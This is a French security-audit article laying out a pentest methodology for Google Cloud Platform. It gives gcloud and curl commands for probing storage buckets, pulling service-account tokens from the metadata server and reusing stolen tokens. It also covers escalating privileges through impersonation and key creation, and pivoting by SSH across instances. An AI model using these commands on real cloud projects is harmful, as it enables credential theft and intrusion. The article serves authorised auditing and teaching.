
L’audit de sécurité d’une infrastructure GCP (Google Cloud Platform) et des applications web qui y sont déployées est une étape clé pour identifier les vulnérabilités et renforcer la résilience face aux attaques.
Cet article présente la méthodologie adoptée lors d’un audit d’une infra GCP, les principaux types de tests réalisés ainsi que des cas concrets.
Lors d’un audit de sécurité web, un environnement GCP peut se présenter de deux manières principales :
Dans les deux cas, la réussite de l’audit repose sur des connaissances spécifiques permettant de tester efficacement ces différents éléments.
Dans cette section, nous allons passer en revue plusieurs scénarios courants et proposer une méthodologie structurée, issue de la pratique.
Étant donné la richesse de l’écosystème GCP et la diversité des configurations possibles, la démarche présentée ne prétend pas couvrir tous les cas. Elle vise plutôt à fournir un cadre général, suffisamment flexible pour être adapté selon votre contexte.
Lors d’un test d’intrusion, il est fréquent de rencontrer un bucket Google Storage :
Dans ce cas, plusieurs approches peuvent être utilisées pour évaluer le niveau de sécurité du bucket.
Si le bucket est totalement public, vous pouvez tester l’accès avec un navigateur ou avec curl :
https://storage.googleapis.com/<storage-name>/
https://storage.googleapis.com/<storage-name>/<path>/<file>
https://www.googleapis.com/storage/v1/b/<storage-name>/iam
https://www.googleapis.com/storage/v1/b/<storage-name>/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update
Dans certains cas, l’accès n’est pas public, mais reste possible à partir de tout compte Google. Il faut alors tester si vous pouvez lister ou télécharger les contenus via un compte utilisateur basique.
Pour ce faire, il est nécessaire d’initialiser le CLI avec un compte Google :
gcloud auth list
gcloud config set account <your-email>
Si vous n’avez jamais connecté votre compte utilisateur sur gcloud, vous devrez le faire avec les commandes suivantes :
gcloud init
gcloud auth login --no-launch-browser
Nous verrons plus tard qu’il est également possible d’utiliser des Services Accounts (par ex. en cas de vol de token) dans le CLI. Cela peut permettre d’accéder au bucket, si le compte en question dispose des droits.
Lister les documents du bucket :
gcloud storage ls gs://<storage-name>/
gcloud storage ls gs://<storage-name>/<directory>/
Dans cet article, nous utilisons majoritairement le CLI gcloud. Il est également possible d’utiliser gsutil, un wrapper de gcloud. Dans certains cas, nous proposerons également les commandes gsutil en exemple.
gsutil ls gs://<storage-name>
gsutil ls gs://<storage-name>/<directory>/
Télécharger un fichier :
gcloud storage cp gs://<storage-name>/<file> .
Vérifier les permissions IAM :
gsutil iam get gs://<storage-name>
Si vous disposez d’un token de Service Account ayant accès au bucket, vous pouvez initialiser le CLI avec ce compte, puis réutiliser les mêmes commandes.
Pour ce faire, il est nécessaire d’initialiser le CLI avec le token volé :
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
On peut ensuite interroger le bucket avec les mêmes commandes listées dans la section précédente :
gsutil ls gs://<storage-name>
# etc.
Notez qu’il est possible de vérifier plusieurs buckets. En effet si vous avez récupéré une liste des buckets présents sur le projet GCP, vous pouvez automatiser la vérification d’accès :
while IFS= read -r i
do
echo $i :
gcloud storage ls gs://$i
done < ./storages.txt
Sur GCP, les serveurs de metadata sont accessibles via l’adresse 169.254.169.254 ou l’URL http://metadata.google.internal/.
Ces serveurs sont consultés par les instances GCP (par exemple une VM Compute Engine) afin de récupérer :
Lors d’un audit, l’exploitation de ce serveur permet de collecter des données utiles, parfois sensibles.
Deux scénarios principaux permettent d’interroger ce serveur :
http://metadata.google.internal/.Depuis 2019, GCP impose la présence de l’en-tête Metadata-Flavor: Google pour accepter une requête. Cette mesure rend les SSRF classiques inefficaces, sauf si une injection CRLF permet d’ajouter l’en-tête, ce qui reste peu probable.
Si vous disposez d’un accès à une instance Compute Engine (via RCE ou shell), vous pouvez extraire plusieurs informations utiles :
# Hostname de l’instance
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/hostname"
# Project ID
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/project/project-id"
# Zone
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/zone"
# Interfaces réseau
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"
Les Service Accounts sont particulièrement sensibles : ils permettent d’exploiter leurs privilèges pour accéder à des ressources supplémentaires ou progresser dans l’infrastructure.
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
Si plusieurs comptes de services sont configurés, il est important de tous les collecter. Il est également intéressant de vérifier le périmètre (scope) associé au compte de service :
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"
Notez qu’un scope critique est le suivant : https://www.googleapis.com/auth/cloud-platform. Il indique que le compte n’est soumis à aucune restriction et peut s’authentifier auprès de toutes les API GCP.
En revanche, si le scope est limité (par exemple cloud-platform.read-only), une élévation de privilèges sera nécessaire.
Des données sensibles peuvent aussi être présentes dans les startup scripts ou les guest attributes :
# Récupérer les startup scripts
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text"
# Récupérer les guest attributes
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/guest-attributes/"
Pour une liste plus exhaustive des endpoints metadata exploitables, vous pouvez consulter la section dédiée sur HackTricks.
Si vous obtenez un compte de service (via une fuite de token ou une RCE), vous disposez d’un levier puissant pour cartographier et exploiter l’infrastructure GCP.
La méthodologie de test suit généralement trois étapes :
Il n’existe pas de commande native pour afficher directement toutes les permissions d’un compte de service. La solution consiste à les bruteforcer, en testant chaque permission une à une.
Plusieurs scripts publics facilitent cette tâche. Par exemple : test-permissions.py (Thunder-CTF)
Avant d’exécuter le script, définissez la variable d’environnement du projet :
gcloud config set project [PROJECT_ID]
Lancez ensuite le script avec le token du compte de service :
python3 test-permissions.py $TOKEN
Le script retourne une liste de permissions actives. Exemple :
['compute.addresses.list', 'compute.instances.list', 'compute.zones.list', 'iam.serviceAccounts.list', 'storage.buckets.list']
Le format peut varier selon le script, mais les informations obtenues restent similaires. Cette liste servira de base pour l’exploitation.
Pour utiliser le compte de service dans le CLI, définissez son token :
export CLOUDSDK_AUTH_ACCESS_TOKEN=$TOKEN
Toutes les commandes gcloud seront alors exécutées avec ce compte.
Comme énoncé en introduction de cette section, deux cas de figure peuvent se présenter. Dans un cas, l’une des permissions peut être utilisée directement pour privesc. Vous pouvez consulter une cheat sheet dédiée pour identifier les permissions exploitables en privesc : HackTricks – GCP Privilege Escalation.
Exemple : si la permission suivante apparaît dans vos résultats :
iam.serviceAccounts.getAccessToken
Cette permission permet d’obtenir un jeton d’accès pour n’importe quel compte de service. L’exploitation documentée est :
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" auth print-access-token
Cela vous donne un accès direct au compte ciblé. Si aucune permission ne permet de privesc, vous pouvez toujours utiliser ces permissions pour accéder à des données.
Si aucune permission critique ne permet une élévation, utilisez celles obtenues pour explorer l’infrastructure.
Exemple avec deux permissions :
iam.serviceAccounts.list. Documentation : gcloud iam service-accounts listgcloud iam service-accounts list
Résultat : vous obtenez la liste de comptes de services existants sur le projet. Cette liste pourrait par exemple être utilisée dans le cas de privesc présenté précédemment.
storage.buckets.list. Documentation : gcloud storage buckets listgcloud storage buckets list
Résultat : vous obtenez une liste des buckets (Google Storage) existants sur le projet, que vous pouvez ensuite tester.
Note : Les permissions de listing sont intéressantes afin de cartographier l’infrastructure cloud. À chaque fois que vous pouvez lister un type de ressource (par exemple ici les comptes des services et les buckets), gardez cette liste dans un fichier.
Ces listes seront très utiles lorsque vous tenterez d’exploiter d’autres privilèges ou que vous chercherez à accéder à des ressources. C’est ce second point que nous allons voir maintenant.
Les permissions listées ci-dessus sont généralement définies au niveau du projet. Toutefois, un compte peut aussi avoir des droits spécifiques sur certaines ressources individuelles.
Même sans les permissions globales nécessaires (comme iam.roles.list ou iam.serviceAccounts.getIamPolicy), vous pouvez tester vos accès par bruteforce sur les ressources déjà identifiées.
Voyons quelques exemples :
while IFS= read -r i
do
echo $i :
gcloud storage ls gs://$i
done < ./storages.txt
gcloud compute ssh --project=<project-id> --zone=<zone> <instance-name>
Seules les instances avec une IP externe sont accessibles, mais vous pouvez tester toutes les instances :
for i in $(gcloud compute instances list --format="table[no-heading]"); do
echo Trying SSH on $i:
gcloud compute ssh --project=<project-id> --zone=<zone> $i
done
Si vous avez pu lister les comptes de service (iam.serviceAccouts.list), vous pouvez vérifier si des clés existent :
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
echo Looking for keys for $i:
gcloud iam service-accounts keys list --iam-account $i
done
Cela ne permet pas de collecter les clés en question, mais c’est un bon indice pour savoir sur quel compte de service vous pourriez potentiellement générer une clé.
Vous pouvez alors tenter de créer une clé :
gcloud iam service-accounts keys create --iam-account <SA-name>@<project-name>.iam.gserviceaccount.com key.json
Si cela fonctionne, vous pouvez récupérer l’accès aux SA en important la clé dans votre CLI :
gcloud auth activate-service-account --key-file=<file.json>
Après avoir étudié l’exploitation d’un compte de service, voyons maintenant le cas où vous obtenez un accès direct à une instance.
Cet accès peut être obtenu de différentes manières :
Dans tous les cas, les actions de post-exploitation suivent une logique similaire.
Comme dans toute phase de post-exploitation, commencez par rechercher des secrets, des tokens, des fichiers de configuration sensibles, ou toute information relative au réseau et à l’instance.
Quelques commandes classiques :
cat /etc/hosts
printenv
ls /etc/ssh
Pour une méthodologie plus complète, vous pouvez vous appuyer sur des cheat sheets dédiées : Linux Privilege Escalation Basics.
Pour être plus complet, recherchez également du contenu relatif à GCP :
sudo find / -name "gcloud"
Enfin, n’oubliez pas d’interroger le serveur de metadata (cf. section dédiée). Chaque instance compromise peut offrir de nouvelles informations exploitables via ce canal.
Depuis l’instance compromise, cartographiez le réseau interne afin d’identifier d’autres machines et services accessibles.
À ce stade, toutes les techniques classiques d’un pentest interne peuvent être appliquées pour pivoter, compromettre d’autres systèmes ou collecter davantage de données.
Note : testez systématiquement les connexions SSH, non seulement sur l’instance en cours, mais aussi sur celles découvertes via Nmap ou listées avec gcloud. Votre instance peut contenir la clé SSH permettant de se connecter à d’autres machines.
Un autre axe d’exploitation consiste à utiliser directement les comptes de service disponibles sur l’instance.
gcloud auth list
gcloud config set account <account-email>
gcloud auth print-access-token
Vous pouvez ensuite utiliser ces comptes de service pour reprendre la méthodologie présentée dans la section dédiée à leur exploitation.
L’exploitation d’une instance GCP combine :
Chaque accès à une instance doit donc être envisagé comme un point de pivot potentiel vers l’ensemble de l’infrastructure cloud.
Auteur : Cédric CALLY–CABALLERO – Pentester @Vaadata